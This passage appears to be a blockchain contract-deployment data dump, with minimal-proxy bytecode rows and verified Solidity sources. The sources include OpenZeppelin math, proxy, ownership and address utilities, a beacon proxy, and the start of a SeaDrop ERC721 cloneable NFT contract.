2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0 = x * y; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator.\n // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.\n\n uint256 twos = denominator & (0 - denominator);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also\n // works in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded\n * towards zero.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.\n */\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 20,290,756 | 51d2a684670837c56eb380a68b39a62ea7f5a4f379ac30cad87e98ccdfe21c2d | 602572bbb647995c374b9a207c32b41f80bd0a15987fb1964d089aaba6a73376 | a55590bb1612ee19f38840b3271e91d2717ec80b | daba83815404f5e1bc33f5885db7d96f51e127f5 | 32676d3adee8319b416a23d8ff70e50ce7dbb01e | 3d602d80600a3d3981f3363d3d373d3d3d363d736c420beaaec4c554800dceb7779b84d5a735ea5f5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d736c420beaaec4c554800dceb7779b84d5a735ea5f5af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"src/moneymarkets/ImmutableBeaconProxy.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport \"@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\ncontract ImmutableBeaconProxy is Proxy {\n\n UpgradeableBeacon public immutable __beacon;\n\n constructor(UpgradeableBeacon beacon) {\n __beacon = beacon;\n }\n\n function _implementation() internal view override returns (address) {\n return __beacon.implementation();\n }\n\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/beacon/UpgradeableBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/UpgradeableBeacon.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IBeacon.sol\";\nimport \"../../access/Ownable.sol\";\nimport \"../../utils/Address.sol\";\n\n/**\n * @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their\n * implementation contract, which is where they will delegate all function calls.\n *\n * An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.\n */\ncontract UpgradeableBeacon is IBeacon, Ownable {\n address private _implementation;\n\n /**\n * @dev Emitted when the implementation returned by the beacon is changed.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the\n * beacon.\n */\n constructor(address implementation_) {\n _setImplementation(implementation_);\n }\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view virtual override returns (address) {\n return _implementation;\n }\n\n /**\n * @dev Upgrades the beacon to a new implementation.\n *\n * Emits an {Upgraded} event.\n *\n * Requirements:\n *\n * - msg.sender must be the owner of the contract.\n * - `newImplementation` must be a contract.\n */\n function upgradeTo(address newImplementation) public virtual onlyOwner {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n }\n\n /**\n * @dev Sets the implementation contract address for this beacon\n *\n * Requirements:\n *\n * - `newImplementation` must be a contract.\n */\n function _setImplementation(address newImplementation) private {\n require(Address.isContract(newImplementation), \"UpgradeableBeacon: implementation is not a contract\");\n _implementation = newImplementation;\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"lib/openzeppelin-contracts/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
}
},
"settings": {
"remappings": [
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"forge-std/=lib/forge-std/src/",
"@aave/core-v3/=lib/aave-v3-core/",
"erc7399/=lib/erc7399/src/",
"erc7399-wrappers/=lib/erc7399-wrappers/src/",
"@prb/test/=lib/erc7399-wrappers/lib/prb-test/src/",
"aave-v3-core/=lib/aave-v3-core/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"erc3156/=lib/erc7399-wrappers/lib/erc3156/contracts/",
"erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/",
"openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/",
"prb-test/=lib/erc7399-wrappers/lib/prb-test/src/",
"registry/=lib/erc7399-wrappers/lib/registry/",
"solmate/=lib/erc7399-wrappers/lib/solmate/src/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": false
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}} |
1 | 20,290,756 | 51d2a684670837c56eb380a68b39a62ea7f5a4f379ac30cad87e98ccdfe21c2d | 025787b79e53406a97cb3ffc106342b5280826ab881b8e63a7fbaea5a0622339 | c9aad2fc90eddacf02bd11fa690e3b44e318aa9b | a2a1bf5a83f9daec2dc364e1c561e937163cb613 | 345ae9be45c13cfdd73a570833bf54c8429aa142 | 3d602d80600a3d3981f3363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7387ae9be718aa310323042ab9806bd6692c1129b75af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,758 | 5518187510c970794df02a786219df8d6f2d73cd1b97110c513f811aa4056fcb | eed7936ed45127fdec270ac5ac9083cc9eb3db561448db10f704f6549e14e137 | 147a1ad6293f2eb91cdaac6ac39adfefbd1eaf99 | 008ebccae39d001200c3003c3225ce0a00690066 | 03808976cc3e5d902f6be14fa456bd8c6da424de | 3d602d80600a3d3981f3363d3d373d3d3d363d7309a26fc8fcef18192e267d7a6da9dfb4be81dd6a5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7309a26fc8fcef18192e267d7a6da9dfb4be81dd6a5af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"src/clones/ERC721SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ERC721ContractMetadataCloneable,\n ISeaDropTokenContractMetadata\n} from \"./ERC721ContractMetadataCloneable.sol\";\n\nimport {\n INonFungibleSeaDropToken\n} from \"../interfaces/INonFungibleSeaDropToken.sol\";\n\nimport { ISeaDrop } from \"../interfaces/ISeaDrop.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC721SeaDropStructsErrorsAndEvents\n} from \"../lib/ERC721SeaDropStructsErrorsAndEvents.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport {\n ReentrancyGuardUpgradeable\n} from \"openzeppelin-contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721SeaDrop\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @custom:contributor Limit Break (@limitbreak)\n * @notice ERC721SeaDrop is a token contract that contains methods\n * to properly interact with SeaDrop.\n * Implements Limit Break's Creator Token Standards transfer\n * validation for royalty enforcement.\n */\ncontract ERC721SeaDropCloneable is\n ERC721ContractMetadataCloneable,\n INonFungibleSeaDropToken,\n ERC721SeaDropStructsErrorsAndEvents,\n ReentrancyGuardUpgradeable\n{\n /// @notice Track the allowed SeaDrop addresses.\n mapping(address => bool) internal _allowedSeaDrop;\n\n /// @notice Track the enumerated allowed SeaDrop addresses.\n address[] internal _enumeratedAllowedSeaDrop;\n\n /**\n * @dev Reverts if not an allowed SeaDrop contract.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n *\n * @param seaDrop The SeaDrop address to check if allowed.\n */\n function _onlyAllowedSeaDrop(address seaDrop) internal view {\n if (_allowedSeaDrop[seaDrop] != true) {\n revert OnlyAllowedSeaDrop();\n }\n }\n\n /**\n * @notice Deploy the token contract with its name, symbol,\n * and allowed SeaDrop addresses.\n */\n function initialize(\n string calldata __name,\n string calldata __symbol,\n address[] calldata allowedSeaDrop,\n address initialOwner\n ) public initializer {\n __ERC721ACloneable__init(__name, __symbol);\n __ReentrancyGuard_init();\n _updateAllowedSeaDrop(allowedSeaDrop);\n _transferOwnership(initialOwner);\n emit SeaDropTokenDeployed();\n }\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop)\n external\n virtual\n override\n onlyOwner\n {\n _updateAllowedSeaDrop(allowedSeaDrop);\n }\n\n /**\n * @notice Internal function to update the allowed SeaDrop contracts.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function _updateAllowedSeaDrop(address[] calldata allowedSeaDrop) internal {\n // Put the length on the stack for more efficient access.\n uint256 enumeratedAllowedSeaDropLength = _enumeratedAllowedSeaDrop\n .length;\n uint256 allowedSeaDropLength = allowedSeaDrop.length;\n\n // Reset the old mapping.\n for (uint256 i = 0; i < enumeratedAllowedSeaDropLength; ) {\n _allowedSeaDrop[_enumeratedAllowedSeaDrop[i]] = false;\n unchecked {\n ++i;\n }\n }\n\n // Set the new mapping for allowed SeaDrop contracts.\n for (uint256 i = 0; i < allowedSeaDropLength; ) {\n _allowedSeaDrop[allowedSeaDrop[i]] = true;\n unchecked {\n ++i;\n }\n }\n\n // Set the enumeration.\n _enumeratedAllowedSeaDrop = allowedSeaDrop;\n\n // Emit an event for the update.\n emit AllowedSeaDropUpdated(allowedSeaDrop);\n }\n\n /**\n * @notice Burns `tokenId`. The caller must own `tokenId` or be an\n * approved operator.\n *\n * @param tokenId The token id to burn.\n */\n // solhint-disable-next-line comprehensive-interface\n function burn(uint256 tokenId) external {\n _burn(tokenId, true);\n }\n\n /**\n * 